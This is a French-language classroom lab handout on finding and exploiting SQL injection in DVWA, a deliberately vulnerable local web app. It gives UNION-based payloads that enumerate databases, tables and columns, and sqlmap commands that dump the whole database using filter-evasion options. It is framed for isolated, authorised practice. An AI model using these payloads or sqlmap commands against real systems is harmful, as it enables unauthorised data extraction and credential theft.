

Travaux Pratiques

Injectons SQL avec DVWA

Découverte et exploitation des vulnérabilités SQL dans un environnement sécurisé

Objectifs pédagogiques

À l'issue de ce TP, vous serez capables de :

- Comprendre le mécanisme des injections SQL et leurs impacts réels.
- Installer et configurer DVWA comme environnement de test.
- Réaliser des injections SQL manuelles sur différents niveaux de sécurité.
- Utiliser l'outil sqlmap pour automatiser l'exploitation d'une injection.

Rappel légal et éthique :

Les techniques présentées dans ce TP sont utilisées à des fins d'apprentissage uniquement, dans un environnement isolé prévu à cet effet.

Toute tentative d'injection SQL sur un système réel sans autorisation explicite du propriétaire constitue une infraction pénale (article 323-1 et suivants du Code pénal en France).

La sécurité offensive s'apprend pour mieux défendre, pas pour attaquer

Partie 1 : Présentation de l'environnement DVWA

1.1 Qu'est-ce que DVWA ?

DVWA (Damn Vulnerable Web Application) est une application web PHP/MySQL **intentionnellement truffée de failles de sécurité**. Elle a été conçue exclusivement à des fins éducatives, afin de permettre aux développeurs et aux étudiants en sécurité de pratiquer les attaques et les défenses dans un cadre légal et contrôlé.

Elle reproduit les vulnérabilités les plus fréquentes dans le développement web réel :

- **Injections SQL** — manipulation des requêtes SQL
- **Cross-Site Scripting (XSS)** — injection de code côté client

1.2 Les niveaux de sécurité

DVWA propose quatre niveaux de protection que vous pouvez ajuster depuis le menu DVWA Security. Ce réglage modifie le code source des modules en temps réel, vous permettant d'observer l'évolution de la protection.

Niveau	Nom	Description
1	Low	Aucune protection. Idéal pour comprendre la faille dans sa forme la plus pure.
2	Medium	Filtrage partiel ou vérifications naïves. Simule une tentative de correction incomplète.
3	High	Protection renforcée, techniques simples inopérantes. Requiert une réflexion avancée.
4	Impossible	Vulnérabilité correctement corrigée. Sert de référence pour les bonnes pratiques.

Pour ce TP, vous travaillerez principalement en niveau **Low**, puis en niveau **Medium** pour les exercices avancés.

Partie 2 — Installation de DVWA

Deux méthodes sont proposées. Choisissez celle qui correspond à votre environnement.

Option A — Pack serveur local (XAMPP / WAMP / MAMP)

Cette méthode est recommandée si vous souhaitez explorer les fichiers et comprendre la structure d'un projet PHP. Vous installez un pack qui intègre Apache, PHP et MySQL.

Étape 1 : Préparer l'environnement

- Téléchargez et installez **XAMPP** (Windows/Linux), **WAMP** (Windows) ou **MAMP** (macOS).
- Lancez l'application et démarrez les services Apache et MySQL (voyants verts).
- Dans phpMyAdmin, créez une nouvelle base de données nommée dvwa.

Étape 2 : Installer DVWA

- Téléchargez l'archive DVWA depuis le dépôt officiel : **github.com/digininja/DVWA**
- Décompressez l'archive et renommez le dossier en dvwa
- Placez le dossier dans le répertoire racine du serveur (ex. : htdocs/ pour MAMP/XAMPP).

Étape 3 : Configurer la base de données

- Copiez le fichier config/config.inc.php.dist et renommez la copie en config/config.inc.php
- Ouvrez ce fichier dans un éditeur de texte et modifiez les paramètres suivants :

```
$ _DVWA['db_server'] = 'localhost';  
$ _DVWA['db_database'] = 'dvwa';  
$ _DVWA['db_user'] = 'root';  
$ _DVWA['db_password'] = 'root';  
$ _DVWA['db_port'] = '3306';
```

- Dans votre navigateur, accédez à <http://localhost/dvwa/setup.php>
- Cliquez sur **Create / Reset Database**. DVWA initialise ses tables automatiquement.
- Connectez-vous avec les identifiants par défaut : **admin / password**

Option B — Docker (recommandé, environnement propre)

Docker isole complètement DVWA de votre système. Aucune configuration de PHP ou MySQL n'est nécessaire. C'est la méthode la plus rapide.

Prérequis

- Installez **Docker Desktop** depuis docs.docker.com/desktop

Lancement

- Ouvrez un terminal et exécutez la commande suivante :

```
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
```

- Ouvrez votre navigateur et accédez à <http://localhost:8080>
- Initialisez la base de données depuis l'interface DVWA si nécessaire.

Conseil

Si vous rencontrez un problème lors de l'installation (base de données inaccessible, page blanche, erreur PHP...), lisez attentivement la page de configuration de DVWA : elle vous indique précisément ce qui manque.

Partie 3 — Notions théoriques sur l'injection SQL

3.1 Principe de l'attaque

Une injection SQL survient lorsqu'une application insère des données saisies par un utilisateur directement dans une requête SQL, sans les valider ni les échapper. Un attaquant peut alors modifier la structure logique de la requête pour :

- contourner une authentification,
- extraire des données confidentielles (mots de passe, données personnelles),
- modifier ou supprimer des enregistrements,
- dans certains cas, exécuter des commandes sur le serveur.

3.2 Exemple concret

Considérez la requête SQL suivante, générée par une application vulnérable :

```
SELECT * FROM users WHERE id = '$id';
```

Si l'utilisateur saisit la valeur 1, la requête devient :

```
SELECT * FROM users WHERE id = '1';
```

Mais si l'utilisateur saisit 1' OR '1'=1, la requête devient :

```
SELECT * FROM users WHERE id = '1' OR '1'=1';
```

La condition '1'=1' étant toujours vraie, tous les utilisateurs sont retournés.

Partie 4 — Exercices pratiques

Avant de commencer : dans DVWA, réglez le niveau de sécurité sur **Low** via le menu **DVWA Security**, puis accédez au module **SQL Injection**.

Exercice 1 : Injection SQL manuelle — Exploration de la base de données

Dans cet exercice, vous allez progressivement extraire des informations de la base de données via le champ de saisie du module SQL Injection.

Champ de saisie cible

```
http://localhost/dvwa/vulnerabilities/sqli/
```

Tableau des payloads à tester

Entrez chacun des payloads suivants dans le champ ID et observez le résultat.

Objectif	Payload SQL à injecter
Afficher un utilisateur	1
Lister tous les utilisateurs	1' OR 1=1#
Version du SGBD	1' OR 1=1 UNION SELECT null,version()#
Utilisateur courant de l'app	1' OR 1=1 UNION SELECT null,USER();#
Lister toutes les bases de données	1' OR 1=1 UNION SELECT null,schema_name FROM information_schema.schemata#
Lister toutes les tables	1' OR 1=1 UNION SELECT null,table_name FROM INFORMATION_SCHEMA.tables#
Colonnes de la table users	1' OR 1=1 UNION SELECT null,column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'#

Questions de réflexion

1. Pourquoi le caractère ' (apostrophe) déclenche-t-il l'injection ?
2. À quoi sert le # en fin de payload ?
3. Pourquoi utilise-t-on UNION SELECT null, ... au lieu de UNION SELECT ..., ... ?
4. Quelles informations sensibles avez-vous réussi à extraire ?

Exercice 1 : Automatisation avec sqlmap — Dump complet de la base

Sqlmap est un outil open source qui automatise la détection et l'exploitation des injections SQL. Dans cet exercice, vous l'utiliserez pour extraire automatiquement la totalité des données de la base DVWA.

Avertissement :

Sqlmap est un outil d'audit offensif. Son utilisation sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale. Dans ce TP, vous ne l'utilisez que sur DVWA, votre machine locale

Commande de base (niveau Low)

Remplacez l'adresse IP par celle de votre machine si nécessaire, et adaptez le cookie PHPSESSID (récupérez-le via les outils développeur de votre navigateur).

```
sqlmap -u  
"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=NULL&Submit=Submit" \  
--cookie="PHPSESSID=VOTRE_SESSION; security=low" \  
--dump
```

Commande avancée (niveau Medium / contournement de filtres)

Si les filtres basiques bloquent sqlmap, utilisez les options suivantes pour augmenter l'agressivité et contourner les protections :

```
sqlmap -u  
"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=NULL&Submit=Submit" \  
--cookie="PHPSESSID=VOTRE_SESSION; security=low" \  
--level=5 --risk=3 \  
--tamper=space2comment \  
--random-agent \  
--dump
```

Questions de réflexion :

1. Quelles tables sqlmap a-t-il découvert dans la base dvwa ?
2. Quelles informations sensibles a-t-il extrait de la table users ?
3. Comment les mots de passe sont-ils stockés ? Sont-ils en clair ou hashés ?
4. Quelle est la différence entre --level et --risk

Partie 5 — Contre-mesures et bonnes pratiques

Comprendre comment exploiter une injection SQL est indissociable de la compréhension de comment s'en protéger.

À vous de trouver les contre-mesures les plus appropriées pour vous protéger contre les injections SQL.